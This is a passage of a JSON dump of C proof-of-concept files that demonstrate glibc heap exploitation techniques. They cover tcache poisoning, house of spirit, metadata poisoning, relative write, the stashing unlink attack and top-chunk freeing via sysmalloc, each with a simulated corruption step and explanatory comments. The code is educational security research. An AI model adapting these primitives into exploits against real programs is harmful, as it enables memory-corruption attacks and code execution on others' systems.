vulnerability\n\tputs(\"Modify the 0x40 t-cache pointer to point to the heap value that holds our arbitrary value, \");\n\tputs(\"by overwriting the LSB of the pointer for 0x40 in the t-cache metadata:\");\n\t\n\t// Calculate the address of the t-cache metadata\n\tvoid *metadata = (void *)((long)(value) & ~(0xfff));\n\n\t// Overwrite the LSB of the 0x40 t-cache chunk to point to the heap chunk containing the arbitrary value\n\t*(unsigned int*)(metadata+0xa0) = (long)(metadata)+((long)(value) & (0xfff));\n\n\tprintf(\"\\t\\t> 0x40 t-cache: [%p -> 0x%lx]\\n\", value, (*(long*)value)^((long)metadata>>12));\n\tputs(\"\");\n\n\tputs(\"Allocate once to make the protected pointer the current entry in the 0x40 bin:\");\n\tvoid *_ = malloc(0x38);\n\tprintf(\"\\t\\t> 0x40 t-cache: [0x%lx]\\n\", *(unsigned long*)(metadata+0xa0));\n\tputs(\"\");\n\n\t/* VULNERABILITY */\t\n\tputs(\"Point the 0x20 bin to the 0x40 bin in the t-cache metadata, containing the newly safe-linked value:\");\n\t*(unsigned int*)(metadata+0x90) = (long)(metadata)+0xa0;\n\tprintf(\"\\t\\t> 0x20 t-cache: [0x%lx -> 0x%lx]\\n\", (long)(metadata)+0xa0, *(long*)value);\n\tputs(\"\");\n\t/* VULNERABILITY */\t\n\n\t// Step 5: Allocate twice to allocate the arbitrary value\n\tputs(\"Allocate twice to gain a pointer to our arbitrary value\");\n\t\n\t_ = malloc(0x18);\n\tprintf(\"\\t\\t> First  0x20 allocation: %p\\n\", _);\n\t\n\tchar *vuln = malloc(0x18);\n\tprintf(\"\\t\\t> Second 0x20 allocation: %p\\n\", vuln);\n\tputs(\"\");\n\n\t// Step 6: Overwrite the goal string pointer and verify it has been changed\n\tstrcpy(vuln, \"XXXXXXXXXXX HIJACKED!\");\n\n\tprintf(\"String now contains: %s\\n\", goal);\t\n\tassert(strcmp(goal, \"Replace me!\") != 0);\n}\n"
  },
  {
    "path": "glibc_2.33/sysmalloc_int_free.c",
    "content": "#define _GNU_SOURCE\n\n#include <stdio.h>\n#include <string.h>\n#include <assert.h>\n#include <malloc.h>\n#include <unistd.h>\n\n#define SIZE_SZ sizeof(size_t)\n\n#define CHUNK_HDR_SZ (SIZE_SZ*2)\n// same for x86_64 and x86\n#define MALLOC_ALIGN 0x10\n#define MALLOC_MASK (-MALLOC_ALIGN)\n\n#define PAGESIZE sysconf(_SC_PAGESIZE)\n#define PAGE_MASK (PAGESIZE-1)\n\n// fencepost are offsets removed from the top before freeing\n#define FENCEPOST (2*CHUNK_HDR_SZ)\n\n#define PROBE (0x20-CHUNK_HDR_SZ)\n\n// target top chunk size that should be freed\n#define CHUNK_FREED_SIZE 0x150\n#define FREED_SIZE (CHUNK_FREED_SIZE-CHUNK_HDR_SZ)\n\n/**\n * Tested on:\n *  + GLIBC 2.39 (x86_64, x86 & aarch64)\n *  + GLIBC 2.34 (x86_64, x86 & aarch64)\n *  + GLIBC 2.31 (x86_64, x86 & aarch64)\n *  + GLIBC 2.27 (x86_64, x86 & aarch64)\n *\n * sysmalloc allows us to free() the top chunk of heap to create nearly arbitrary bins,\n * which can be used to corrupt heap without needing to call free() directly.\n * This is achieved through sysmalloc calling _int_free to the top_chunk (wilderness),\n * if the top_chunk can't be merged during heap growth\n * https://elixir.bootlin.com/glibc/glibc-2.39/source/malloc/malloc.c#L2913\n *\n * This technique is used in House of Orange & Tangerine\n */\nint main() {\n  size_t allocated_size, *top_size_ptr, top_size, new_top_size, freed_top_size, *new, *old;\n  // disable buffering\n  setvbuf(stdout, NULL, _IONBF, 0);\n  setvbuf(stdin, NULL, _IONBF, 0);\n  setvbuf(stderr, NULL, _IONBF, 0);\n\n  // check if all chunks sizes are aligned\n  assert((CHUNK_FREED_SIZE & MALLOC_MASK) == CHUNK_FREED_SIZE);\n\n  puts(\"Constants:\");\n  printf(\"chunk header \\t\\t= 0x%lx\\n\", CHUNK_HDR_SZ);\n  printf(\"malloc align \\t\\t= 0x%lx\\n\", MALLOC_ALIGN);\n  printf(\"page align \\t\\t= 0x%lx\\n\", PAGESIZE);\n  printf(\"fencepost size \\t\\t= 0x%lx\\n\", FENCEPOST);\n  printf(\"freed size \\t\\t= 0x%lx\\n\", FREED_SIZE);\n\n  printf(\"target top chunk size \\t= 0x%lx\\n\", CHUNK_HDR_SZ + MALLOC_ALIGN + CHUNK_FREED_SIZE);\n\n  // probe the current size of the top_chunk,\n  // can be skipped if it is already known or predictable\n  new = malloc(PROBE);\n  top_size = new[(PROBE / SIZE_SZ) + 1];\n  printf(\"first top size \\t\\t= 0x%lx\\n\", top_size);\n\n  // calculate allocated_size\n  allocated_size = top_size - CHUNK_HDR_SZ - (2 * MALLOC_ALIGN) - CHUNK_FREED_SIZE;\n  allocated_size &= PAGE_MASK;\n  allocated_size &= MALLOC_MASK;\n\n  printf(\"allocated size \\t\\t= 0x%lx\\n\\n\", allocated_size);\n\n  puts(\"1. create initial malloc that will be used to corrupt the top_chunk (wilderness)\");\n  new = malloc(allocated_size);\n\n  // use BOF or OOB to corrupt the top_chunk\n  top_size_ptr = &new[(allocated_size / SIZE_SZ)-1 + (MALLOC_ALIGN / SIZE_SZ)];\n\n  top_size = *top_size_ptr;\n\n  printf(\"\"\n         \"----- %-14p ----\\n\"\n         \"|          NEW          |   <- initial malloc\\n\"\n         \"|                       |\\n\"\n         \"----- %-14p ----\\n\"\n         \"|          TOP          |   <- top chunk (wilderness)\\n\"\n         \"|      SIZE (0x%05lx)   |\\n\"\n         \"|          ...          |\\n\"\n         \"----- %-14p ----   <- end of current heap page\\n\\n\",\n         new - 2,\n         top_size_ptr - 1,\n         top_size - 1,\n         top_size_ptr - 1 + (top_size / SIZE_SZ));\n\n  puts(\"2. corrupt the size of top chunk to be less, but still page aligned\");\n\n  // make sure corrupt top size is page aligned, generally 0x1000\n  // https://elixir.bootlin.com/glibc/glibc-2.39/source/malloc/malloc.c#L2599\n  new_top_size = top_size & PAGE_MASK;\n  *top_size_ptr = new_top_size;\n  printf(\"\"\n         \"----- %-14p ----\\n\"\n         \"|          NEW          |\\n\"\n         \"| AAAAAAAAAAAAAAAAAAAAA |   <- positive OOB (i.e. BOF)\\n\"\n         \"----- %-14p ----\\n\"\n         \"|         TOP           |   <- corrupt size of top chunk (wilderness)\\n\"\n         \"|     SIZE (0x%05lx)    |\\n\"\n         \"----- %-14p ----   <- still page aligned\\n\"\n         \"|         ...           |\\n\"\n         \"----- %-14p ----   <- end of current heap page\\n\\n\",\n         new - 2,\n         top_size_ptr - 1,\n         new_top_size - 1,\n         top_size_ptr - 1 + (new_top_size / SIZE_SZ),\n         top_size_ptr - 1 + (top_size / SIZE_SZ));\n\n\n  puts(\"3. create an allocation larger than the remaining top chunk, to trigger heap growth\");\n  puts(\"The now corrupt top_chunk triggers sysmalloc to call _init_free on it\");\n\n  // remove fencepost from top_chunk, to get size that will be freed\n  // https://elixir.bootlin.com/glibc/glibc-2.39/source/malloc/malloc.c#L2895\n  freed_top_size = (new_top_size - FENCEPOST) & MALLOC_MASK;\n  assert(freed_top_size == CHUNK_FREED_SIZE);\n\n  old = new;\n  new = malloc(CHUNK_FREED_SIZE + 0x10);\n\n  printf(\"\"\n         \"----- %-14p ----\\n\"\n         \"|          OLD          |\\n\"\n         \"| AAAAAAAAAAAAAAAAAAAAA |\\n\"\n         \"----- %-14p ----\\n\"\n         \"|         FREED         |   <- old top got freed because it couldn't be merged\\n\"\n         \"|     SIZE (0x%05lx)    |\\n\"\n         \"----- %-14p ----\\n\"\n         \"|       FENCEPOST       |   <- just some architecture depending padding\\n\"\n         \"----- %-14p ----   <- still page aligned\\n\"\n         \"|          ...          |\\n\"\n         \"----- %-14p ----   <- end of previous heap page\\n\"\n         \"|          NEW          |   <- new malloc\\n\"\n         \"-------------------------\\n\"\n         \"|          TOP          |   <- top chunk (wilderness)\\n\"\n         \"|          ...          |\\n\"\n         \"-------------------------   <- end of current heap page\\n\\n\",\n         old - 2,\n         top_size_ptr - 1,\n         freed_top_size,\n         top_size_ptr - 1 + (CHUNK_FREED_SIZE/SIZE_SZ),\n         top_size_ptr - 1 + (new_top_size / SIZE_SZ),\n         new - (MALLOC_ALIGN / SIZE_SZ));\n\n  puts(\"...\\n\");\n\n  puts(\"?. reallocated into the freed chunk\");\n\n  old = new;\n  new = malloc(FREED_SIZE);\n\n  assert((size_t) old > (size_t) new);\n\n  printf(\"\"\n         \"----- %-14p ----\\n\"\n         \"|          NEW          |   <- allocated into the freed chunk\\n\"\n         \"|                       |\\n\"\n         \"----- %-14p ----\\n\"\n         \"|          ...          |\\n\"\n         \"----- %-14p ----   <- end of previous heap page\\n\"\n         \"|          OLD          |   <- old malloc\\n\"\n         \"-------------------------\\n\"\n         \"|          TOP          |   <- top chunk (wilderness)\\n\"\n         \"|          ...          |\\n\"\n         \"-------------------------   <- end of current heap page\\n\",\n         new - 2,\n         top_size_ptr - 1 + (CHUNK_FREED_SIZE / SIZE_SZ),\n         old - (MALLOC_ALIGN / SIZE_SZ));\n}\n"
  },
  {
    "path": "glibc_2.33/tcache_house_of_spirit.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <assert.h>\n\nint main()\n{\n\tsetbuf(stdout, NULL);\n\n\tprintf(\"This file demonstrates the house of spirit attack on tcache.\\n\");\n\tprintf(\"It works in a similar way to original house of spirit but you don't need to create fake chunk after the fake chunk that will be freed.\\n\");\n\tprintf(\"You can see this in malloc.c in function _int_free that tcache_put is called without checking if next chunk's size and prev_inuse are sane.\\n\");\n\tprintf(\"(Search for strings \\\"invalid next size\\\" and \\\"double free or corruption\\\")\\n\\n\");\n\n\tprintf(\"Ok. Let's start with the example!.\\n\\n\");\n\n\n\tprintf(\"Calling malloc() once so that it sets up its memory.\\n\");\n\tmalloc(1);\n\n\tprintf(\"Let's imagine we will overwrite 1 pointer to point to a fake chunk region.\\n\");\n\tunsigned long long *a; //pointer that will be overwritten\n\tunsigned long long fake_chunks[10] __attribute__((aligned(0x10))); //fake chunk region\n\n\tprintf(\"This region contains one fake chunk. It's size field is placed at %p\\n\", &fake_chunks[1]);\n\n\tprintf(\"This chunk size has to be falling into the tcache category (chunk.size <= 0x410; malloc arg <= 0x408 on x64). The PREV_INUSE (lsb) bit is ignored by free for tcache chunks, however the IS_MMAPPED (second lsb) and NON_MAIN_ARENA (third lsb) bits cause problems.\\n\");\n\tprintf(\"... note that this has to be the size of the next malloc request rounded to the internal size used by the malloc implementation. E.g. on x64, 0x30-0x38 will all be rounded to 0x40, so they would work for the malloc parameter at the end. \\n\");\n\tfake_chunks[1] = 0x40; // this is the size\n\n\n\tprintf(\"Now we will overwrite our pointer with the address of the fake region inside the fake first chunk, %p.\\n\", &fake_chunks[1]);\n\tprintf(\"... note that the memory address of the *region* associated with this chunk must be 16-byte aligned.\\n\");\n\n\ta = &fake_chunks[2];\n\n\tprintf(\"Freeing the overwritten pointer.\\n\");\n\tfree(a);\n\n\tprintf(\"Now the next malloc will return the region of our fake chunk at %p, which will be %p!\\n\", &fake_chunks[1], &fake_chunks[2]);\n\tvoid *b = malloc(0x30);\n\tprintf(\"malloc(0x30): %p\\n\", b);\n\n\tassert((long)b == (long)&fake_chunks[2]);\n}\n"
  },
  {
    "path": "glibc_2.33/tcache_metadata_poisoning.c",
    "content": "#include <assert.h>\n#include <stdint.h>\n#include <stdio.h>\n#include <stdlib.h>\n\n// Tcache metadata poisoning attack\n// ================================\n//\n// By controlling the metadata of the tcache an attacker can insert malicious\n// pointers into the tcache bins. This pointer then can be easily accessed by\n// allocating a chunk of the appropriate size.\n\n// By default there are 64 tcache bins\n#define TCACHE_BINS 64\n// The header of a heap chunk is 0x10 bytes in size\n#define HEADER_SIZE 0x10\n\n// This is the `tcache_perthread_struct` (or the tcache metadata)\nstruct tcache_metadata {\n  uint16_t counts[TCACHE_BINS];\n  void *entries[TCACHE_BINS];\n};\n\nint main() {\n  // Disable buffering\n  setbuf(stdin, NULL);\n  setbuf(stdout, NULL);\n\n  uint64_t stack_target = 0x1337;\n\n  puts(\"This example demonstrates what an attacker can achieve by controlling\\n\"\n       \"the metadata chunk of the tcache.\\n\");\n  puts(\"First we have to allocate a chunk to initialize the stack. This chunk\\n\"\n       \"will also serve as the relative offset to calculate the base of the\\n\"\n       \"metadata chunk.\");\n  uint64_t *victim = malloc(0x10);\n  printf(\"Victim chunk is at: %p.\\n\\n\", victim);\n\n  long metadata_size = sizeof(struct tcache_metadata);\n  printf(\"Next we have to calculate the base address of the metadata struct.\\n\"\n         \"The metadata struct itself is %#lx bytes in size. Additionally we\\n\"\n         \"have to subtract the header of the victim chunk (so an extra 0x10\\n\"\n         \"bytes).\\n\",\n         sizeof(struct tcache_metadata));\n  struct tcache_metadata *metadata =\n      (struct tcache_metadata *)((long)victim - HEADER_SIZE - metadata_size);\n  printf(\"The tcache metadata is located at %p.\\n\\n\", metadata);\n\n  puts(\"Now we manipulate the metadata struct and insert the target address\\n\"\n       \"in a chunk. Here we choose the second tcache bin.\\n\");\n  metadata->counts[1] = 1;\n  metadata->entries[1] = &stack_target;\n\n  uint64_t *evil = malloc(0x20);\n  printf(\"Lastly we malloc a chunk of size 0x20, which corresponds to the\\n\"\n         \"second tcache bin. The returned pointer is %p.\\n\",\n         evil);\n  assert(evil == &stack_target);\n}\n"
  },
  {
    "path": "glibc_2.33/tcache_poisoning.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <stdint.h>\n#include <assert.h>\n\nint main()\n{\n\t// disable buffering\n\tsetbuf(stdin, NULL);\n\tsetbuf(stdout, NULL);\n\n\tprintf(\"This file demonstrates a simple tcache poisoning attack by tricking malloc into\\n\"\n\t\t   \"returning a pointer to an arbitrary location (in this case, the stack).\\n\"\n\t\t   \"The attack is very similar to fastbin corruption attack.\\n\");\n\tprintf(\"After the patch https://sourceware.org/git/?p=glibc.git;a=commit;h=77dc0d8643aa99c92bf671352b0a8adde705896f,\\n\"\n\t\t   \"We have to create and free one more chunk for padding before fd pointer hijacking.\\n\\n\");\n\tprintf(\"After the patch https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=a1a486d70ebcc47a686ff5846875eacad0940e41,\\n\"\n\t\t   \"An heap address leak is needed to perform tcache poisoning.\\n\"\n\t\t   \"The same patch also ensures the chunk returned by tcache is properly aligned.\\n\\n\");\n\n\tsize_t stack_var[0x10];\n\tsize_t *target = NULL;\n\n\t// choose a properly aligned target address\n\tfor(int i=0; i<0x10; i++) {\n\t\tif(((long)&stack_var[i] & 0xf) == 0) {\n\t\t\ttarget = &stack_var[i];\n\t\t\tbreak;\n\t\t}\n\t}\n\tassert(target != NULL);\n\n\tprintf(\"The address we want malloc() to return is %p.\\n\", target);\n\n\tprintf(\"Allocating 2 buffers.\\n\");\n\tintptr_t *a = malloc(128);\n\tprintf(\"malloc(128): %p\\n\", a);\n\tintptr_t *b = malloc(128);\n\tprintf(\"malloc(128): %p\\n\", b);\n\n\tprintf(\"Freeing the buffers...\\n\");\n\tfree(a);\n\tfree(b);\n\n\tprintf(\"Now the tcache list has [ %p -> %p ].\\n\", b, a);\n\tprintf(\"We overwrite the first %lu bytes (fd/next pointer) of the data at %p\\n\"\n\t\t   \"to point to the location to control (%p).\\n\", sizeof(intptr_t), b, target);\n\t// VULNERABILITY\n\t// the following operation assumes the address of b is known, which requires a heap leak\n\tb[0] = (intptr_t)((long)target ^ (long)b >> 12);\n\t// VULNERABILITY\n\tprintf(\"Now the tcache list has [ %p -> %p ].\\n\", b, target);\n\n\tprintf(\"1st malloc(128): %p\\n\", malloc(128));\n\tprintf(\"Now the tcache list has [ %p ].\\n\", target);\n\n\tintptr_t *c = malloc(128);\n\tprintf(\"2nd malloc(128): %p\\n\", c);\n\tprintf(\"We got the control\\n\");\n\n\tassert((long)target == (long)c);\n\treturn 0;\n}\n"
  },
  {
    "path": "glibc_2.33/tcache_relative_write.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <assert.h>\n#include <malloc.h>\n\nint main(void)\n{\n    /*\n     * This document demonstrates TCache relative write technique\n     * Reference: https://d4r30.github.io/heap-exploit/2025/11/25/tcache-relative-write.html\n     *\n     * Objectives: \n     *   - To write a semi-arbitrary (or possibly fully arbitrary) value into an arbitrary location on heap\n     *   - To write the pointer of an attacker-controlled chunk into an arbitrary location on heap.\n     * \n     * Cause: UAF/Overflow\n     * Applicable versions: GLIBC >=2.30\n     *\n     * Prerequisites:\n     * \t - The ability to write a large value (>64) on an arbitrary location\n     * \t - Libc leak\n     * \t - Ability to malloc/free with sizes higher than TCache maximum chunk size (0x408)\n     *\n     * Summary: \n     * The core concept of \"TCache relative writing\" is around the fact that when the allocator is recording \n     * a tcache chunk in `tcache_perthread_struct` (tcache metadata), it does not enforce enough check and \n     * restraint on the computed tcachebin indice (`tc_idx`), thus WHERE the tcachebin count and head \n     * pointer will be written are not restricted by the allocator by any means. The allocator treats extended \n     * bin indices as valid in both `tcache_put` and `tcache_get` scenarios. If we're somehow able to write a \n     * huge value on one of the fields of mp_ (tcache_bins from malloc_par), by requesting \n     * a chunk size higher than TCache range, we can control the place that a **tcachebin pointer** and \n     * **counter** is going to be written. Considering the fact that a `tcache_perthread_struct` is normally \n     * placed on heap, one can perform a *TCache relative write* on an arbitrary point located after the tcache \n     * metadata chunk (Even on `tcache->entries` list to poison tcache metadata). By writing the new freed tcache \n     * chunk's pointer, we can combine this technique with other techniques like tcache poisoning or fastbin corruption \n     * and to trigger a heap leak. By writing the new counter, we can poison `tcache->entries`, write semi-arbitrary decimals\n     * into an arbitrary location of heap, with the right amount of mallocs and frees. With all these combined, one is \n     * able to create impactful chains of exploits, using this technique as their foundation.\n     *\n     * PoC written by D4R30 (Mahdyar Bahrami)\n     *\n    */\n\n    setbuf(stdout, NULL);\n    \n    printf(\"This file demonstrates TCache relative write, a technique used to achieve arbitrary decimal writing and chunk pointer arbitrary write on heap.\\n\");\n    printf(\"The technique takes advantage of the fact that the allocator does not enforce appropriate restraints on the computed tcache indices (tc_idx)\\n\");\n    printf(\"As a prerequisite, we should be capable of writing a large value (anything larger than 64) on an arbitrary location, which in our case is mp_.tcache_bins\\n\\n\");    \n\n    unsigned long *p1 = malloc(0x410);\t// The chunk that we can overflow or have a UAF on\n    unsigned long *p2 = malloc(0x100);\t// The target chunk used to demonstrate chunk overlap\n    size_t p2_orig_size = p2[-1];\n    \n    free(p1);\t// In this PoC, we use p1 simply for a libc leak\n\n    /* VULNERABILITY */\n\n    printf(\"First of all, you need to write a large value on mp_.tcache_bins, to bypass the tcache indice check.\\n\");\n    printf(\"This can be done by techniques that have unsortedbin attack's similar impact, like largebin attack, fastbin_reverse_into_tcache and house_of_mind_fastbins\\n\");\n    \n    // --- Step 1: Write a huge value into mp_.tcache_bins ---\n    // You should have the ability to write a huge value on an arbitrary location; this doesn't necessarily\n    // mean a full arbitrary write. Writing any value larger than 64 would suffice.\n    // This could be done in a program-specific way, or by a UAF/Overflow in target program. By a UAF/Overflow,\n    // you can use techniques like largebin attack, fastbin_reverse_into_tcache and house of mind (fastbins).\n\n    unsigned long *mp_tcache_bins = (void*)p1[0] - 0x930;   // Relative computation of &mp_.tcache_bins\n    printf(\"&mp_.tcache_bins: %p\\n\", mp_tcache_bins);\n\n    *mp_tcache_bins = 0x7fffffffffff;\t// Write a large value into mp_.tcache_bins\n    printf(\"mp_.tcache_bins is now set to a large value. This enables us to pass the only check on tc_idx\\n\\n\");\n\n    // Note: If we're also capable of making mp_.tcache_count a large value along with mp_.tcache_bins, we can\n    // trigger a fully arbitrary decimal writing. In the normal case, with just mp_tcache_bins set to a large value,\n    // what we can write into target is limited to a range of [0,7].  \n    printf(\"If you're also capable of setting mp_.tcache_count to a large value, you can possibly achieve a *fully* arbitrary write.\\n\");\n\n    /* END VULNERABILITY */\n\n    /*\n     * The idea is to craft a precise `tc_idx` such that, when it is used by `tcache_put`, the resulting write of \n     * tcachebin pointer and its counter occurs beyond the bounds of `tcache_perthread_struct` (which is on heap) \n     * and into our target location. This is done by requesting a chunk with the right amount of size and then \n     * freeing it. To compute the right size, we have to consider `csize2tidx` and the pointer arithmetic within \n     * `tcache_put` when it comes to indexing. The only check that can stop us from out-of-bounds writing is the \n     * `tc_idx < mp_.tcache_bins` check, which can get bypassed by writing a large value on `mp_.tcache_bins` (Which \n     * we already did in step 1)   \n    */\n\n    // --- Step 2: Compute the correct chunk size to malloc and then free --- \n    /*\n     * The next step is to acquire the exact chunk size (nb) we should malloc and free to trick tcache_put into \n     * writing the counter or pointer variable on the desired location.\n     * To precisely calculate the size, we first have to understand how a tc_idx (tcache index) is calculated. A tc_idx\n     * is computed by the csize2tidx macro. Here's its defenition:\n    \n      # define csize2tidx(x) (((x) - MINSIZE + MALLOC_ALIGNMENT - 1) / MALLOC_ALIGNMENT)\n    \n     * If we let `nb` be the internal form of the freeing chunk size, `MALLOC_ALIGNMENT=0x10`, and `MINSIZE=0x20` then:\n     * tc_index = (nb - 0x20 + 0x10 -1) / 0x10 = (nb - 0x11) / 0x10\n     * Because tc_index is an integer: tc_index = (nb-16)/16 - 1\n     * So if `nb = 0x20` (least chunk size), then `tc_index = 0`, if `nb = 0x30`, then `tc_index = 1`, and so on.\n     * With some knowledge of C pointer arithmetic, we can predict the location of the tcachebin pointer & counter \n     * write, just by having `nb` on our hands:\n     \n     * unsigned long *ptr_write_loc = (void*)(&tcache->entries) + 8*tc_index = (void*)(&tcache->entries) + (nb-16)/2 - 8\n     * unsigned long *counter_write_loc = (void*)(&tcache->counts) + 2*tc_index = (void*)(&tcache->counts) + (nb-16)/8 - 2\n    \n     * Note: Here `tcache` is just symbol for a pointer to the heap-allocated `tcache_perthread_struct`\n     * In other words: \n     \n       * Location we want to overwrite with tcache pointer = tcache_entries location + (nb-16)/2 - 8\n       * Location we want to overwrite with the counter = tcache_counts location + (nb-16)/8 - 2\n     \n     * Note: To compute nb, you don't need to have absolute addresses for tcache_perthread_struct and the chosen location;\n     * only the difference between these two locations is required.\n     * So: \n         - For a chunk pointer arbitrary write: nb = 2*(delta+8)+16\n\t - For a counter arbitrary write: nb = 8*(delta+2)+16 \n     \n     * For example, if the tcache structure is allocated at `0x555555559000`, and you want to overwrite a half-word \n     * (`++counts[tc_index]`) at `0x5555555596b8`: \n     * delta = 0x5555555596b8 - (&tcache->counts) = 0x5555555596b8 - 0x555555559010 = 0x6a8\n     * Even if ASLR is on, the delta would always be `0x6a8`. So no heap-leak is required.\n    */\n\n    // --- Step 3: Combine with other techniques to create impactful attack chains ---\n    // In this PoC, we trigger a chunk overlapping and pointer arbitrary write to introduce the two main primitives.\n    //\n    // Note: Overlapping chunk attack & pointer arbitrary write are just two possible use cases here. You can come up with wide \n    // range of other possible attack chains, using tcache relative write as their foundation. It is obvious that you can \n    // write arbitrary decimal values, by requesting and freeing the same chunk multiple times; overlapping chunk attack is\n    // just one simple way to use that. \n\n    // ---------------------------------\n    // | Ex: Trigger chunk overlapping |\n    // ---------------------------------\n    // To see the counter arbitrary write in practice, let's assume that we want to write counter on p2->size and make chunk p2 \n    // a very large chunk, so that it overlaps the next chunks.   \n    // First of all, we need to compute delta, then put it into the formula we discussed to get nb.\n    printf(\"--- Chunk overlapping attack ---\\n\");\n    printf(\"Now, our goal is to make a large overlapping chunk. We already allocated two chunks: p1(%p) and p2(%p)\\n\", p1, p2);\n    printf(\"The goal is to corrupt p2->size to make it an overlapping chunk. The original usable size of p2 is: 0x%lx\\n\", p2_orig_size);\n    printf(\"To trigger tcache relative write in a way that p2->size is corrupted, we need to compute the exact chunk size(nb) to malloc and free\\n\");\n    printf(\"We use this formula: nb = 8*(delta+2)+16\\n\");\n\n    void *tcache_counts = (void*)p1 - 0x290; \t// Get tcache->counts\t\n    unsigned long delta = ((void*)p2 - 6) - tcache_counts;\n\n    // Based on the formula above: nb = 8*(delta+2)+16\n    unsigned long nb = 8*(delta+2)+16;\n\n    // That's it! Now we exactly know what chunk size we should request to trigger counter write on our target\n    unsigned long *p = malloc(nb-0x10);\t\n    \n    // Trigger TCache relative write\n    free(p);\n    \n    // Now lets see if p2's size is changed\n    assert(p2[-1] > p2_orig_size);\n    printf(\"p2->size after tcache relative write is: 0x%lx\\n\\n\", p2[-1]);\n\n    // Now we can free p2 and later recover it with a larger request\n    free(p2);\n    p = malloc(0x10100); \n\n    // Lets see if the new returned pointer equals p2 \n    assert(p == p2);\n\n    // -------------------------------------\n    // | Ex: Chunk pointer arbitrary write |\n    // -------------------------------------\n    // Now to further demonstrate the power of tcache-relative write, lets relative write a freeing chunk\n    // pointer into an arbitrary location. This can be used for tcache poisoning, fastbin corruption,  \n    // House of Lore, etc.\n    printf(\"--- Chunk pointer arbitrary write ---\\n\");\n    printf(\"To demonstrate the chunk pointer arbitrary write capability, our goal is to write a freeing chunk pointer at p2->fd\\n\");\n    printf(\"We use the formula nb = 2*(delta+8)+16\");\n\n    // Compute delta (The difference between &p1->fd and &tcache->entries)\n    void *tcache_entries = (void*)p1 - 0x210;  // Compute &tcache->entries\n    delta = (void*)p1 - tcache_entries;\n\n    // Based on the formulas we discussed above: nb = 2*(delta+8)+16\n    nb = 2*(delta+8)+16; \n\n    printf(\"We should request and free a chunk of size 0x%lx\\n\", nb-0x10);\n    p = malloc(nb-0x10); \n\n    // Trigger tcache relative write (Write freeing pointer into p1->fd)\n    printf(\"Freeing p (%p) to trigger relative write.\\n\", p);\n    free(p);\n\n    assert(p1[0] == (unsigned long)p);\n    printf(\"p1->fd is now set to p, the chunk that we just freed.\\n\");\n\n    // tcache poisoning, fastbin corruption (<2.32 only with tcache relative write), house of lore, etc....\n}\n\n"
  },
  {
    "path": "glibc_2.33/tcache_stashing_unlink_attack.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <assert.h>\n\nint main(){\n    unsigned long stack_var[0x10] = {0};\n    unsigned long *chunk_lis[0x10] = {0};\n    unsigned long *target;\n\n    setbuf(stdout, NULL);\n\n    printf(\"This file demonstrates the stashing unlink attack on tcache.\\n\\n\");\n    printf(\"This poc has been tested on both glibc-2.27, glibc-2.29 and glibc-2.31.\\n\\n\");\n    printf(\"This technique can be used when you are able to overwrite the victim->bk pointer. Besides, it's necessary to alloc a chunk with calloc at least once. Last not least, we need a writable address to bypass check in glibc\\n\\n\");\n    printf(\"The mechanism of putting smallbin into tcache in glibc gives us a chance to launch the attack.\\n\\n\");\n    printf(\"This technique allows us to write a libc addr to wherever we want and create a fake chunk wherever we need. In this case we'll create the chunk on the stack.\\n\\n\");\n\n    // stack_var emulate the fake_chunk we want to alloc to\n    printf(\"Stack_var emulates the fake chunk we want to alloc to.\\n\\n\");\n    printf(\"First let's write a writeable address to fake_chunk->bk to bypass bck->fd = bin in glibc. Here we choose the address of stack_var[2] as the fake bk. Later we can see *(fake_chunk->bk + 0x10) which is stack_var[4] will be a libc addr after attack.\\n\\n\");\n\n    stack_var[3] = (unsigned long)(&stack_var[2]);\n\n    printf(\"You can see the value of fake_chunk->bk is:%p\\n\\n\",(void*)stack_var[3]);\n    printf(\"Also, let's see the initial value of stack_var[4]:%p\\n\\n\",(void*)stack_var[4]);\n    printf(\"Now we alloc 9 chunks with malloc.\\n\\n\");\n\n    //now we malloc 9 chunks\n    for(int i = 0;i < 9;i++){\n        chunk_lis[i] = (unsigned long*)malloc(0x90);\n    }\n\n    //put 7 chunks into tcache\n    printf(\"Then we free 7 of them in order to put them into tcache. Carefully we didn't free a serial of chunks like chunk2 to chunk9, because an unsorted bin next to another will be merged into one after another malloc.\\n\\n\");\n\n    for(int i = 3;i < 9;i++){\n        free(chunk_lis[i]);\n    }\n\n    printf(\"As you can see, chunk1 & [chunk3,chunk8] are put into tcache bins while chunk0 and chunk2 will be put into unsorted bin.\\n\\n\");\n\n    //last tcache bin\n    free(chunk_lis[1]);\n    //now they are put into unsorted bin\n    free(chunk_lis[0]);\n    free(chunk_lis[2]);\n\n    //convert into small bin\n    printf(\"Now we alloc a chunk larger than 0x90 to put chunk0 and chunk2 into small bin.\\n\\n\");\n\n    malloc(0xa0);// size > 0x90\n\n    //now 5 tcache bins\n    printf(\"Then we malloc two chunks to spare space for small bins. After that, we now have 5 tcache bins and 2 small bins\\n\\n\");\n\n    malloc(0x90);\n    malloc(0x90);\n\n    printf(\"Now we emulate a vulnerability that can overwrite the victim->bk pointer into fake_chunk addr: %p.\\n\\n\",(void*)stack_var);\n\n    //change victim->bck\n    /*VULNERABILITY*/\n    chunk_lis[2][1] = (unsigned long)stack_var;\n    /*VULNERABILITY*/\n\n    //trigger the attack\n    printf(\"Finally we alloc a 0x90 chunk with calloc to trigger the attack. The small bin preiously freed will be returned to user, the other one and the fake_chunk were linked into tcache bins.\\n\\n\");\n\n    calloc(1,0x90);\n\n    printf(\"Now our fake chunk has been put into tcache bin[0xa0] list. Its fd pointer now point to next free chunk: %p and the bck->fd has been changed into a libc addr: %p\\n\\n\",(void*)stack_var[2],(void*)stack_var[4]);\n\n    //malloc and return our fake chunk on stack\n    target = malloc(0x90);   \n\n    printf(\"As you can see, next malloc(0x90) will return the region our fake chunk: %p\\n\",(void*)target);\n\n    assert(target == &stack_var[2]);\n    return 0;\n}\n"
  },
  {
    "path": "glibc_2.33/unsafe_unlink.c",
